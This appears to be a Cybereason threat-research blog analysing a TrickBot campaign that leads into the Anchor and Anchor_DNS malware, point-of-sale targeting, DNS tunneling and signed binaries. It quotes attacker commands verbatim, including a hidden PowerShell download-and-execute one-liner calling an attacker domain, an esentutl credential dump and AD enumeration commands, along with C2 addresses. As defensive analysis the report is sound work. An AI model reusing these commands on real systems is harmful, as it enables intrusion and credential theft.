Research By: Assaf Dahan, Lior Rochberger, Eli Salem, Mary Zhao, Niv Yona, Omer Yampel and Matt Hart
Cybereason Nocturnus is monitoring a new wave of targeted campaigns against financial, manufacturing and retail businesses that began in early October. Similar to attacks previously reported by Cybereason, this campaign started with a TrickBot infection and progressed into a hacking operation targeting sensitive financial systems.
However, unlike previous operations that focused on causing a massive ransomware infection (Ryuk and LockerGoga) by compromising critical assets like the domain controller, this new operation is focused on targeting point of sale (PoS) systems. The campaign leverages a newly discovered malware family called Anchor exclusively for high-profile targets.
Learn more about additional attacks that leverage TrickBot.
This research focuses on the following aspects of the TrickBot-Anchor attack:
While this blog does not discuss attribution explicitly, the nature of these attacks, specifically the motivation, some of the tools and techniques detailed, have certain resemblance to past attacks that were linked to the financially-motivated FIN6 threat actor, a group that is known to target POS systems and has been linked to TrickBot infections in the past.
Lastly, our blog emphasizes the gravity and danger that lies in commodity malware infections, as they have the potential of escalating into a hacking operation. This can easily lead to a disastrous outcome, whether it be a ransomware infection or theft of sensitive financial data.
An overview of the attack tree, as seen in the Cybereason Defense Platform.
Downloading and injecting TrickBot.
The attack starts with a phishing email that contains a malicious link to a file hosted on Google Docs named “Annual Bonus Report.doc”. When the user clicks on the link, the TrickBot dropper downloads onto the target machine. This differs from previous TrickBot attacks we have seen, where TrickBot is usually dropped through a Microsoft Office document or by another malware like Emotet.
Phishing email that tricks the user into downloading TrickBot.
The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. When the user double-clicks the file, they are presented with a decoy message box. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer.
TrickBot displays a message box suggests updating Microsoft Word or opening the file on another computer to preview the document.
While at first glance these files can be mistaken for legitimate Microsoft Word files, a closer inspection of the file metadata indicates they are not associated with Microsoft Word, nor are they Microsoft Word document files.
Most of the initial payloads in these campaigns are signed with valid certificates to evade security tools. They abuse the relative trust that is given to signed binaries to avoid detection.
File metadata properties for the fake Microsoft Word Document.
Signed malware is an evasive initial entry point into an organization.
The message box distracts the user as TrickBot’s payload is downloaded, stored in the %TEMP% folder, and executed. A new process injects the TrickBot payload into a svchost.exe process.
svchost.exe injected code malicious evidence as seen in the Cybereason Platform.
Domain associated with the TrickBot payload download.
Once TrickBot’s main payload is injected into the svchost.exe process, it carries out a series of reconnaissance-related tasks to profile the infected endpoint and the network. This information is crucial, as it determines the course of the attack.
Checking Network Connectivity
TrickBot checks for Internet connectivity by trying to access several designated domains. These domains are preconfigured and belong to legitimate web services, including: checkip.amazonaws.com, ipecho.net, ipinfo.io, api.ipify.org, icanhazip.com, myexternalip.com, wtfismyip.com, ip.anysrc.net.
Once TrickBot verifies it can connect to the Internet, it communicates with C2 servers, some of which using TOR-related domains. It collects and sends information about where the target machine is located to the C2 servers.
Browser History and Credential Theft
After TrickBot establishes Internet access and sends information about the location of the target machine, it starts its malicious activity. The module core-parser.dll is reflectively loaded into svchost.exe. core-parser.dll parses the TrickBot config files and extracts IP addresses for secondary C2 communication, redirection, and web injection logic.
core-parser.dll injected into svchost.dll.
TrickBot sends the reconnaissance information from the target machine to a hardcoded C2 server. The C2 server is responsible for handling the stolen data.
A list of C2 servers extracted from TrickBot’s configuration.
TrickBot also steals data from Internet Explorer by executing the built-in Windows tool ESENTUTL using the living-off-the-land technique (LOLBin).
esentutl /p /o C:\Users\[USER]\AppData\Local\Temp\grabber_temp.edb
This command dumps the Extensible Storage Engine (ESE) database format.
Application-specific Credential Theft
This variant of TrickBot employs a new, unique ability to steal passwords from KeePass, a free, open- source password manager. TrickBot's KeePass stealing capabilities seem to be inspired (or even partially copy-pasted) from a publicly available tool dubbed PoshKPBrute, a script that performs a dictionary attack against KeePass .kdbx files. Once it finds the dictionary key, it dumps all passwords as an output and sends the attackers the master password.
KeePass stealing brute force tool.
TrickBot’s stealer module also tries to extract keys from Filezilla, OpenSSH and OpenVPN.
TrickBot attempting to steal keys from Filezilla, OpenSSH, and OpenVPN.
Reconnaissance Commands
In addition to several crafted PowerShell commands, the attackers use several legitimate Windows processes to gather information, including nltest.exe, net.exe, ipconfig.exe, whoami.exe, and nslookup.exe. They gather information on:
The net.exe process tree.
Nltest / domain_trusts /all_trusts
Net view /all
Nltest /domain_trusts
Net view /all /domain
Ipconfig /all
Net config workstation
Nslookup “-q=srv_kerberos._tcp”
/c “start microsoft-edge:http://127.0.0.1:52715/11984”
Reconnaissance commands launched by TrickBot.
The attacker also uses PowerShell to test DNS entry settings. They use the command -q=srv_kerberos_tcp on the process nslookup.exe to open an interactive shell. They use the shell to expand their search to other machines on the network by searching for things like a list of the domain controllers.
TrickBot testing DNS settings.
With this in mind, we gather that the attackers goal is to spread within organizations to multiple machines, not just to the target machine.
The threat actor evaluates information sent back to the C2 server and identifies if they have successfully infected a high-value target. If so, they escalate their efforts by switching to interactive hacking: reconnaissance, credential dumping, lateral movement, and in some cases the mass deployment of ransomware across endpoints connected to the domain controller.
The threat actor leverages PowerShell to send additional payloads to the target machine. They issue commands to fetch a payload from a secondary server and, once it’s downloaded, immediately execute it on the target machine through PowerShell.
powershell.exe -nop -WindowStyle Hidden -executionpolicy bypass -c "IEX ((new-object net.webclient).downloadstring('hxxps://northracing[.]net/?a=irs&x=[base64]'))"
The northracing[.]net URL contains a PowerShell script in the contents of the webpage. Though we were unable to fetch the script used in this specific incident, we were able to pivot off the query parameters used in the above PowerShell script (?a=irs&x=) to find a sandbox report for similar activity. The PowerShell payload runs two stages: the first stage sends basic information to the C2 domain and waits for a response to see if it should continue its operation. If the threat actor does not send a stop flag, the PowerShell script runs in a constant loop and continuously POSTs data to the same domain the payload was fetched from. Each POST request is sent along with a UUID generated from the user’s hostname and the current process ID.
Information sent along each POST request in the payload.
A POST request containing basic information about the machine is sent, which includes the current user and their domain, the root of the file system, and information about the operating system.
The PowerShell payloads using WMI to probe for system information.
This information is sent to the C2 along with the `i` parameter. When a response is received, the payload checks to see if the response matches the value cex01. If it does, the PowerShell script stops executing and kills the task. If the response is any other value, the script sets a timeout variable based on the response and continues to the main loop.
This indicates that the attacker is either looking to target specific Windows domains or specific operating system versions.
The main loop sends a POST request to the server with the `t` parameter, which requests the next commands from the server.
The main loop that sends a POST request to the server.
Each line in the response from the threat actor contains a Base64-encoded command, which is decoded and then immediately executed using PowerShell through the Invoke-Expression (IEX) commandlet. The output of the command is sent back to the C2 server using a POST request with the “a” parameter.
The attack tree demonstrating the beginning of the hacking operation using Meterpreter.
The attackers use a Meterpreter implant to carry out post-exploitation actions. The Cybereason Platform detects both the shellcode and various Meterpreter DLLs reflectively loaded to memory. The detected DLLs include:
Cybereason detects the reflectively loaded malicious modules as a Meterpreter agent and shellcode executed by the Meterpreter agent.
Examining the loaded modules shows which Metasploit modules are loaded.
The Meterpreter agent creates a connection to port 4444 on the external IP address 91.12.89[.]129.
Using Meterpreter, the attackers injected Cobalt Strike and other Metasploit payloads into the rundll32.exe process.
Attackers injecting Cobalt Strike and other Metasploit payloads into the rundll32.exe process.
Detection of Cobalt Strike, Meterpreter, and shellcode execution.
The attacker uses the following metasploit modules:
Post-exploitation modules reflectively loaded to rundll32.exe
The connection to the external IP address 199.217.115[.]53 on port 8443.
Both Meterpreter and Cobalt Strike are legitimate penetration testing tools that have been repeatedly used by various threat actors, including the FIN6 threat actor.
The threat actor uses known Cobalt Strike modules to enumerate Active Directory information:
The attackers execute several Base64-encoded PowerShell commands in order to determine if the infected machine’s user is in the admin or domain admin group.
After verifying the user is an admin, the threat actor gathers information about the domain controllers and their IP addresses using an additional Base64-encoded and compressed PowerShell command.
The obfuscated and compressed PowerShell command.
The decoded PowerShell command that attempts to gather domain controller information.
The attackers deploys a batch script that executes the ADfind.exe tool to enumerate users, groups, and computers of the Windows domain.
adfind.exe -f "(objectcategory=organizationalUnit)"
adfind.exe -gcb -sc trustdmp
adfind.exe -f "objectcategory=computer"
adfind.exe -sc trustdmp
adfind.exe -f "(objectcategory=person)"
adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f "(objectcategory=group)"
The ADfind tool has reportedly been used previously in attacks related to FIN6.
One of the most interesting payloads in these attacks is the Anchor_DNS malware, which was originally discovered in October 2019 by NTT Security. It is classified by NTT as a variant of the infamous TrickBot malware, which uses DNS tunneling to stealthily communicate with C2 servers. Though this variant was first discovered in October 2019, there is evidence that Anchor_DNS was used as far back as March 2019.\
Oldest Anchor_DNS sample observed, SHA-1: b388243bf5899c99091ac2df13339f141659bbd4
This new variant acts as a sophisticated, stealthy backdoor that selectively chooses high-profile targets. Anchor_DNS is still undergoing rapid development cycles with code changes and new feature updates every few weeks.
This is a new variant of Anchor_DNS that appeared as early as November 2019 and exhibits the following changes in code and behavior:
File name |
SHA-1 |
anchorDNS_x64.exe |
5f1ad1787106de9725005d8da33d815d0994ee83 |
anchorDNS_x64.exe contains a PDB path with the name of the malware, Anchor_DNS. This file is the 64-bit version of Anchor_DNS, however, there were earlier instances of the 32-bit version as well. The project name shows that this is the fifth version of Anchor_DNS.
`PDB PATH: C:\simsim\anchorDNS.v5\Bin\x64\Release\anchorDNS_x64.pdb
Many strings in the code have typos and grammatical mistakes, further affirming our suspicion that the authors of Anchor_DNS are not native english speakers.
Multiple typos and grammatical mistakes in the Anchor_DNS code.
The threat actor gave considerable effort to obfuscating the code of this new Anchor_DNS variant using stack strings, string encryption, and by implementing a packer. The following example shows considerable changes in the code of the WinMain() function between an older variant of Anchor_DNS and the new variant.
Anchor_DNS was able to stay under-the-radar by using specific execution flags. If these command-line arguments are not supplied, the Anchor_DNS terminates.
Alternate Data Stream |
ADS Contents |
Decoded Contents |
edskype.exe:$FILE |
QzpcVXNlcnNcdXNlclxBcHBEYXRhXFJvYW1pbmdcU2t5cGVcZWRza3lwZS5leGU= |
C:\Users\user\AppData\Roaming\Skype\edskype.exe |
edskype.exe:$TASK |
Tm90ZXBhZCsrIGF1dG91cGRhdGUjOTQ2NTQ |
Notepad++ autoupdate#94654 |
edskype.exe:$GUID |
[BASE64] |
/anchor_dns/[COMPUTER_NAME]_[Windows_Version].[clientID]/ |
Contents of the debug file created by Anchor_DNS.
Older and newer versions of Anchor_DNS communicate over DNS. However, the newer version described here does not check Internet connectivity using legitimate online web services like ipinfo.io, and instead uses a built-in capability to check for the server’s availability using the ICMP protocol.
Determining C2 server connectivity.
Anchor_DNS communicates with the C2 servers over DNS using DNS Tunneling. With this technique, Anchor_DNS can transfer data, receive commands, and download an additional payload, as detailed in NTT Security’s report on an older Anchor_DNS sample.
By implementing DNS Tunneling, Anchor_DNS can evade certain security products that might block certain network protocols or overlook DNS traffic.
Example of DNS Tunneling traffic generated by Anchor_DNS.
During our investigation, we found several unidentified malware samples related to TrickBot infections. The malware is dubbed Anchor by its authors and has been active since August 2018. Unlike Anchor_DNS, the Anchor malware does not implement communication over DNS. However, it does share many behavioral, code, and string similarities with Anchor_DNS and some similarities to TrickBot.
Earliest Anchor sample observed (SHA-1:3ed09498214d93c9ec14a15286546d242ad58943)
PDB path for the earliest Anchor sample found.
Many Anchor samples have a very low or at times zero detection rate by AV vendors, which could explain the limited reports about this malware.
List of Anchor payloads found on VirusTotal with 0/0 detection rate.
The malware has both x86 and x64 versions and contains an installer component to install the malware.
Payload Name |
Hash |
PDB Path |
anchorInstaller_x86 |
3ed09498214d93c9ec14a15286546d242ad58943 4bba60ff11f8b150b004960c658ad74a707ebcea |
D:\MyProjects\secondWork\Anchor\Win32\Release\anchorInstaller_x86.pdb C:\Users\ProFi\Desktop\data\Win32\anchorInstaller_x86Code\anchorInstaller_x86.pdb |
anchorInstaller_x64 |
e75983b073ff0632e35e237f6622466c2699687c |
|
Anchor_x86 |
Bd26238fb7d7e16ea79073d882bba00d34dd859c F3683a0c12154e8bf44d9d942db3eac9e930e7a5 9ebb541dcb24d564448a6f5e00c613b73eba7148 |
D:\MyProjects\secondWork\Anchor\Win32\Release\Anchor_x86.pdb C:\Users\ProFi\Desktop\data\Win32\anchorInstaller_x86Code\Anchor_x86.pdb D:\Anchor\Anchor\Win32\Release\Anchor_x86.pdb |
Anchor_x64 |
46c595e580719a4c54f55b4041f81d6e50ab4062 e5dc7c8bfa285b61dda1618f0ade9c256be75d1a |
D:\Anchor\x64\Debug\Anchor_x64.pdb C:\[JOB]\Anchor\x64\Release\Anchor_x64.pdb |
The Anchor payload is delivered by AnchorInstaller AnchorInstaller unpacks the Anchor DLL and drops it in the %SYSTEMROOT% or %SYSTEMROOT%\System32 folder. The dropped DLL is loaded by the service netTcpSvc, which is created by the malware.
Anchor service persistence found in the registry.
Similar to Anchor_DNS, Anchor creates an NTFS ADS file $GUID to store its GUID:
Anchor GUID stored as an NTFS ADS.
Unlike Anchor_DNS, which stores the information in Base64, Anchor’s GUID is saved in cleartext.
Anchor and older versions of Anchor_DNS implement the exact same self deletion routine using two sets of commands to ensure that the dropper is deleted once the malware was successfully deployed:
Similar to TrickBot, Anchor tries to establish Internet connectivity and the external IP of the target machine prior to communicating with its C2 servers. It uses the following hardcoded web services to test connectivity:
Once it has established connectivity, it communicates with a set of hardcoded C2 servers.
Communication with a set of hardcoded C2 servers.
The request and response follow the same C2 communication format as TrickBot.
The request and response format for Anchor.
Anchor and Anchor_DNS are both directly linked to TrickBot infections, as they are downloaded by TrickBot as secondary payloads. There are also several other similarities noted below.
The GUID generation functions for Anchor_DNS and Anchor seem almost identical to that of the GUID generated by TrickBot. The GUID follows this pattern:
[Machine_NAME]_[Windows_Version].[Client_ID]
Malware Name |
GUID |
Anchor_DNS |
/anchor_dns/MACHINE-001_W617601.D4CB942AA18EFF519DCBCAE88A0A99FB/ |
Anchor |
/anchor001/jujubox-PC_W617601.6E8516CA48318FB2904E2027B5350B26 |
Trickbot |
/mor49/DAVID-PC_W10017134.55C60B5D13499341D72F5A34C632CFD9 |
Both Anchor and older versions of Anchor_DNS use a list of hardcoded online web services to determine Internet connectivity and check the external IP of the infected machine. The same list is also used by TrickBot:
checkip.amazonaws.com, ipecho.net, ipinfo.io, api.ipify.org, icanhazip.com, myexternalip.com, wtfismyip.com, and ip.anysrc.net.
In certain cases, if internet connectivity cannot be reached, Anchor and older versions of Anchor_DNS will delete themselves.
TrickBot, Anchor, and Anchor_DNS typically use a separate C2 infrastructure. However, in some instances of this attack, there was C2 server overlap between these infrastructures. For example, the IP 23.95.97[.]59, which is hardcoded in an Anchor sample, has also served Anchor_DNS and TrickBot:
Anchor sample with hardcoded IP (SHA-1: 9ebb541dcb24d564448a6f5e00c613b73eba7148)
Connection to TrickBot
This above IP address was used by TrickBot to download the squlDLL plugin, which includes email harvesting from SQL servers, screenlocker, and Mimikatz.
Connection to Anchor_DNS
The same IP resolved to a domain previously used by Anchor_DNS, chishir[.]com.
Passive DNS information of 23.95.97[.]59 , taken from VirusTotal.
The following table gives a comparison between different malware in the Anchor malware family.
Features |
Anchor |
Old Anchor_DNS |
New Anchor_DNS |
Earliest Observed Sample |
August 2018 |
May 2019 |
November 2019 |
Command-line arguments? |
- |
+ |
+ |
Self-Deletion |
+ |
+ |
- |
Network Connectivity check via ICMP |
- |
- |
+ |
Network Connectivity check via web services |
+ |
+ |
- |
NTFS ADS files |
+ |
+ |
+ |
TrickBot’s GUID Generation pattern |
+ (Cleartext) |
+ (base64) |
+ (base64) |
Code Obfuscation |
Very Little |
Very Little |
Obfuscated Code |
C2 Communication Protocols |
HTTP(S) |
DNS |
ICMP, DNS |
Code signing is meant to provide a level of credibility and integrity to a binary from the developer, and to guarantee that the binary has not been tampered with. In the past, signing malware was a practice mostly seen with nation-state threat actors. However, this is no longer the case. Nowadays, more and more commodity malware are being signed with valid certificates, effectively bypassing some security solutions that grant trust to signed binaries.
Malicious files in this attack were signed by:
TrickBot payloads and Anchor / Anchor_DNS payloads were at times signed by the same signer, which further demonstrate that these malware are most likely used by the same threat actor.
In searching for additional signed known and unknown files, we were able to identify dozens of malware samples signed by the same organizations. Some were also signed with the same serial number.
A VirusTotal Signer name search shows malware associated with these campaigns:
A VirusTotal Serial Number search shows malware associated with the campaigns:
This research gives a detailed step-by-step analysis of recent attacks targeting the financial, manufacturing, and retail sectors across the United States and Europe. These attacks start with a TrickBot infection and, with high-profile targets, can escalate to a hacking operation leveraging a new malware, Anchor, and a new variant of Anchor_DNS.
Unlike previously reported TrickBot attacks that resulted in mass ransomware infections, these new attacks focus on stealing sensitive information from POS systems and other sensitive resources in the victims’ network by compromising critical assets.
In addition, Cybereason discovered a previously undocumented malware called Anchor as well as a new variant of the recently discovered Anchor_DNS malware. Both Anchor and Anchor_DNS are directly related to TrickBot infections and have code similarities, and sometimes also share C2 infrastructure with TrickBot. Anchor_DNS uses various techniques to keep itself under-the-radar, such as communication over DNS, and the reliance on specific command-line arguments in order to run properly. Through these techniques, it is able to evade many security products including certain sandboxes and AV vendors.
These attacks stress the danger of commodity malware infections that sometimes may be underestimated due to their frequent use and high volume. It is important to note that, in this attack, once an endpoint is infected with TrickBot it is up to the attackers to decide their next move. If they identify a high-value target, they can go beyond the traditional information stealing capabilities of TrickBot and use the target machine as an entry point to other machines on the network.
This research does not focus on the attribution of these attacks. However, through analysis of the evidence and context presented in our research, we noticed certain TTP overlaps with earlier attacks that were attributed to the financially-motivated FIN6 threat actor. We leave it to our readers to draw their own conclusions on the attribution of these attacks.
Lastly, these attacks show how threat actors are shifting toward signed malware more than ever before. As this trend continues to evolve, security practitioners and security vendors must improve the detection of signed malware and re-think the trust given to signed binaries in general.
The best way to defend against an attack like this is to use an iterative security process. Read more in our white paper.
For a comprehensive list of indicators of compromise, please see the PDF file for this attack here.
Initial Access |
Execution |
Persistence |
Privilege Escalation |
Defense Evasion |
Credential Access |
Discovery |
Collection |
Exfiltration |
C&C |